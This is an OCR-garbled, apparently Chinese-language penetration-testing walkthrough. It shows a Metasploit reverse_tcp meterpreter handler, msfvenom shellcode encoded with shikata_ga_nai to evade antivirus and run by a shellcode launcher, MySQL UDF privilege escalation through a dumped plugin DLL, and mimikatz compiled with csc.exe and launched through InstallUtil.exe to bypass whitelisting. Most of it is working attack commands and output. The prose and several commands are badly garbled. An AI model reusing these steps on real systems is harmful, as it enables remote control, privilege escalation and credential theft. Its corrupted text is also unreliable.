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fC netstat -an |findstr "LISTEMIMNG"
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FERRIYFE— T : payload

BTFEM , ERER | payload—ERW/REMRIRIEIRE, ZHtasklistiIrHz , FE
AMTELNHENRE , S—RAFEFSEMpayloadnBERR. PERREEDSFAE,
—XKAFE=ANBRR , —LNEFTEESERAR. XEF , RNTE=ZDDBERR.
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HRNRFESZEYY  E0E=fM , —METIHE , —METTH, —FHET=E
e ZEFAFREAEAILMHEIFIEER. T2 , EERRIEIRIPELSHRIE
. JTHESpayload]F#ARIFE , FHERESZER.
BEPARE 7 HEINERERAR | BARFIER | WERBEHESITADERR. BR
PELSY , HFESEITH , SFHINGERR. BT TERE  BEREET
windows AT EREN—MERFE. BANF.
0x00:LAmsf/offl : xfrimE

(ploit/multlis |'|:|r||:|1 er
i ad windows/meterpreter/reverse_tcp

ulti/handler} = show options

Module options (exploit/multishandler):

Name Current Setting Required Description

Payload options (windows/meterpreter/reverse_tcpl:
Name Current Setting quul red Description

i, thread, pro nane}

Exploit target:
Id  Name

@ Wildcard Target

} = set Thost 182.168.1.5
|1tlmu1t1 ‘handler} = exploit -z

[*] Started reverse TCP handler on 192.1628.1.5

0x001 : iXEJpayload AKENERpeS 4 , MisKEXshellcode5T , KGRIE=77E#INE
ENEH, BRITH

msfvenom -p windows/x64/meterpreter/reverse_tcp |host=192.168.1.5 lport=8080 -e
x86/shikata_ga_nai -i 5 -f raw > test.c

anai -1 5 -f raw = test.c

0x002:BEsA R shellcode s = Hpayload , BRAEE(ERE=/7KE5 , IIFIIRE. T
shellcode , BEEEMAZRME , J‘ZE?M%H%— Mgithub— PR -



https://github.com/clinicallyinane/shellcode_launcher/

EERNE | BINARB CSshellcodeffliTE | HHXAIBM _LIFFERZ.

C:sllzerssJohnn~Desktopszhellcode_launcher—master*shellcode_launcher.exe —i test.
C

Starting up
Calling file now. Loaded hinary at: BxB82hBBEA
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https://github.com/clinicallyinane/shellcode_launcher/

Detection Details
ClamAv
AegisLab
ALYac
Arcabit
Avast Mobile Security
Avira
Baidu
Bkav
cMC
Cyren
Emsisoft
ESET-NOD32

F-Secure

57525 8

1is apppoolhoa

One engine detected this file

test.c
476 B

stanalysis  2018-12-2015:57:37 UTC

= ERFRRYBZANERE : 1241

48875edbffff3a393bc021682661bb4889e268c8525c5d85ff1326d50db32276

Ad-Aware
AhnLab-v3
Antiy-AVL
Avast

AVG
Babable
BitDefender
CAT-QuickHeal
Comodo
Drweb
eScan
F-Prot

Fortinet

-Q50a0
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FHEBIR BRI LRI, LIRSS BRINGO |, RS , BaiE—FRIES. RIBRL
ZEEmysql , FERNEF—&EITKEiEE., mysqlhiR4</95.1.49-community-log

TEBERN*.MYL, *MYD , *frm , IIEFAMEMysql. SZEIBFlrootZH5

O |Host IUser Pazssword Sel
O [localhost root FEITT L LN i
O = root o — T
* N

m B BRI S EZmMysql , EIXE |, a2 AR R EH R
o —  HBARBMUROZIZAM , MMTEEmysql,
o T :TEIERERT , EAkmysql udfigE,

AT D BIRENRIRERN , LIRMEHPRZ A ZHsession , BUEE THE_M5%R. IFR
E’.:—EC—F ' mysqu:/'%j:yo

1T~ WAMYsqIZFEEER— 1 mysqlEH , WMEEHIT , Msession MiRAIXHEF
B, Emysqlid -eS8 (EAEREIITSqES , NTIABEEL. M-eFB2TENE
Ii , use database,

BHRFTE SR EMYsql.xxxx

o, ' 7 wmysglSvbine=mysql -uroot -p . -8 "SELECT WERSIOM()"
mysql -uroot -plllll  -e "SELECT WERSIOM(]"

WERSTIOM()
5.1.49-community-log

gligAigEdatabase , BEHIMNTEIR , MERUNION , SASEEE , —EHIA
B, BREREN , BUEELAmysql xBYLTEE.



D:® R 2 |:|15 bin=mysql -uroot - ~ -e "create table a {cmd LOMGELOE);"
my's |:|1 -uroot -p27771 -e “create table a (emd LONGELOR) ; *

EFROR 1045 (300007 at line 1: Wo database selected

REGRAZAOT

mysql -uroot -pXXXXXX -e "create table mysqgl.a (cmd LONGBLOB);"

mysql -uroot -pXXXXXX -e "insert into mysql.a (cmd) values

(hex(load_file(' DA\XXXXXXXXXX\\mysql5\\lib\\plugin\\u.dll)));"

mysql -uroot -pXXXXXX -e "SELECT unhex(cmd) FROM mysql.a INTO DUMPFILE

"D/ XXXXXXXXXX/mysql5/lib/plugin/uu.dll’;"

mysql -uroot -pXXXXXX -e "CREATE FUNCTION shell RETURNS STRING SONAME 'uu.dIl'"
mysql -uroot -pXXXXXX -e "select shell(‘cmd’,'whoami");"

Do Swbin=mysgl -uroot -plllll  -e "SELECT , “whoamit )"

11 (" Exec', 'whoami' )"

REMFRIUBEANDE : SRIRSER

FEAERIMET , BUA=Ecd TINKS , MBRNXGENTEINAEFERAN, mimikatz
WER, cnd FEHpowershel #=E, ZFEFEIEguestiksS , FEAZE|administrators
B, FlmkrERBE R
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XEEEERZIcsc.exe , SlnstallUtil.exe

EFRNHEANLZENE . (7 FEx32, x64K5 )
CA\Windows\Microsoft. NET\Framework\
C\Windows\Microsoft. NET\Framework64\
CA\Windows\Microsoft.NET\Framework\
C\Windows\Microsoft. NET\Framework64\

FAAIT
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
/r:System.EnterpriseServices.dll /r:System.I0.Compression.dll /target:library
/out:Micropoor.exe /keyfile:C:\Users\Johnn\Desktop\installutil.snk /unsafe
C:\Users\Johnn\Desktop\mimi.cs

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile=
/LogToConsole=false /U C:\Users\Johnn\Desktop\Micropoor.exe



This compiler is provided as part of the Microsoft (R> _HET Framework, but only
supports language versions up to CH 5. which is no longer the latest version. Fo
» compilers that support newer versions of the CH programming language,. see http
7o -microsoft _comsfwlinks/?LinkID=533248

C:~Windowssysten32>cd C:™Users guest Desktop™

C:~lUserssGuest Desktop>*C:“Windows “Microsof t _NET “Frameworko4 w4 B_30319“csc.exe
r:System.EnterprizeServices.dll sr:System.I0.Compression.dll starget:libhrary Sou
tim.exe skeyfile:C: Users guest Desktoprinstallutil.snk ~unsafe C:lserssguest™D
esktopmini.cs

Microsoft (R>» Uiszuwal CH Compiler version 4.7.3062.8

for CH 5

Copyright (C» Microsoft Corporation. All rights reserved.

Thiz compiler iz provided as part of the Microsoft (R» .NET Framework, bhut only

supports language versions up to CH 5. which is no longer the latest version. Fo
r compilers that support newer versions of the CH programming language,. see http
/g0 -microsoft.comsFuwlinks?LinkID=533248

C:sUserssGuest Desktop>*C:Windows “Microsof t _NET “Frameworko4 w4 8_30319Installlt
il.exe ~logfile= ~LogToConsole=false ~U C:“lUsers>guest“Desktop m.exe

mikatz 2.0 alpha x64 (oe.eo)
version - Display some version informations

cd - Change or displav current directory
markruss - Mark about PtH

mimikatz{commandline) # C:\Users\guest\Desktop\m.exe

ERROR mimikatz_dolocal command of

dule not found !

“"C:\Usersh\guestiDesktopim.exe”

standard
Standard module
Description Basic commands {does not require module name)
exit Quit mimikatz
cls Clear screen {doesn’'t work with redirections, like PsExec)
answer Answer to the Ultimate Question of Life, the Universe, and
Everything
coffee Please, make me a coffee!
sleep Sleep an amount of milliseconds
log Log mimikatz input/output to file

“"standard™ mo

hasebé
version
cd
markruss

mimikatz #

Switch file output/baseté output
Display some version informations
Change or display current directory
Mark about PtH
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